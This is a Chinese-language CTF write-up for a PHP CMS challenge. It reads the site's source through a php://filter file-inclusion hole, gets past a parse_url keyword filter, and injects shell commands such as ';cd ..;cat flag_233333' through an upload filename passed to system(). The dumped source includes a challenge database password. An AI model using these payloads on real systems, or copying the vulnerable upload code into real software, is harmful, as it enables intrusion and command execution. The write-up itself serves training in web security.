一个cms，先打开环境
试了一下弱口令，无效，再试一下万能密码，告诉我有waf，先不想怎么绕过，直接开扫（信息收集）
访问register.php注册一个账号进行登录
上面的链接尝试用php读文件
http://575579bc-af3b-4fa5-b93d-9062dfb85a31.node4.buuoj.cn:81/user.php?page=php://filter/convert.base64-encode/resource=indexindex.php
<?php
require_once "function.php";
if(isset($_SESSION['login'] )){
Header("Location: user.php?page=info");
}
else{
include "templates/index.html";
}
?>register.php
<?php
require_once "function.php";
if($_POST['action'] === 'register'){
if (isset($_POST['username']) and isset($_POST['password'])){
$user = $_POST['username'];
$pass = $_POST['password'];
$res = register($user,$pass);
if($res){
Header("Location: index.php");
}else{
$errmsg = "Username has been registered!";
}
}
else{
Header("Location: error_parameter.php");
}
}
if (!$_SESSION['login']) {
include "templates/register.html";
} else {
Header("Location : user.php?page=info");
}
?>function.php
<?php
session_start();
require_once "config.php";
function Hacker()
{
Header("Location: hacker.php");
die();
}
function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
function filter_directory_guest()
{
$keywords = ["flag","manage","ffffllllaaaaggg","info"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
function Filter($string)
{
global $mysqli;
$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
for ($i = 0; $i < strlen($string); $i++) {
if (strpos("$whitelist", $string[$i]) === false) {
Hacker();
}
}
if (preg_match("/$blacklist/is", $string)) {
Hacker();
}
if (is_string($string)) {
return $mysqli->real_escape_string($string);
} else {
return "";
}
}
function sql_query($sql_query)
{
global $mysqli;
$res = $mysqli->query($sql_query);
return $res;
}
function login($user, $pass)
{
$user = Filter($user);
$pass = md5($pass);
$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
if ($res->num_rows) {
$data = $res->fetch_array();
$_SESSION['user'] = $data[username_which_you_do_not_know];
$_SESSION['login'] = 1;
$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
return true;
} else {
return false;
}
return;
}
function updateadmin($level,$user)
{
$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
// die($res);
if ($res == 1) {
return true;
} else {
return false;
}
return;
}
function register($user, $pass)
{
global $mysqli;
$user = Filter($user);
$pass = md5($pass);
$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
$res = sql_query($sql);
return $mysqli->insert_id;
}
function logout()
{
session_destroy();
Header("Location: index.php");
}
?>config.php
<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){
echo "no sql connection".mysqli_connect_error();
$mysqli=null;
die();
}
?>hacker.php
<?php
include("templates/hacker.html");
?>user.php
<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
Header("Location: index.php");
}
if($_SESSION['isadmin'] === '1'){
$oper_you_can_do = $OPERATE_admin;
}else{
$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
if(!isset($_GET['page']) || $_GET['page'] === ''){
$page = 'info';
}else {
$page = $_GET['page'];
}
}
else{
if(!isset($_GET['page'])|| $_GET['page'] === ''){
$page = 'guest';
}else {
$page = $_GET['page'];
if($page === 'info')
{
// echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
Header("Location: user.php?page=guest");
}
}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
// $page = 'info';
//}
include "$page.php";
?>login.php
<?php
require_once "function.php";
if($_POST['action'] === 'login'){
if (isset($_POST['username']) and isset($_POST['password'])){
$user = $_POST['username'];
$pass = $_POST['password'];
$res = login($user,$pass);
if(!$res){
Header("Location: index.php");
}else{
Header("Location: user.php?page=info");
}
}
else{
Header("Location: error_parameter.php");
}
}else if($_REQUEST['action'] === 'logout'){
logout();
}else{
Header("Location: error_parameter.php");
}
?>error_parameter.php
<?php
include("templates/hacker2.html");
?>到此为止，把能读的源码全读了，开始代码分析
看到有parse_url函数，可能存在漏洞
利用该漏洞的payload
//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}else {
echo "you can find sth in m4aaannngggeee";
}
?>继续读取m4aaannngggeee（后续有用）
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}
include "templates/upload.html";
?>访问
http://xxxd1.no.buoj.cn:81/templates/upload.html
发现一个上传界面，随机上传一个文件，显示错误，看到upllloadddd，读它源码
upllloadddd.php（该界面访问报错，不是真正的上传界面）
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file！");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}
?>m4aaannngggeee(上面代码可以看出是上传界面)
http://xxx.nod4.bj.cn:81/user.php?page=m4aaannngggeee
然而这个上传界面没啥用，上传上去的代码被base64编码，无法解析
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename."可以看到这一行有一个system函数，我们可以对filename传参利用
打开bp抓包，对filename进行操作
payload为
;l's'
发现传回的值明显多于原图片内容base64后的结果
解码查看内容
发现此为命令执行后的结果，找寻flag，查看上级目录
payload
;cd ..;l's'
读取flag_233333
payload
;cd ..;cat flag_233333
找到flag值
flag{44794dcf-7ec4-4dd2-8f68-c6ad9219f0ef}
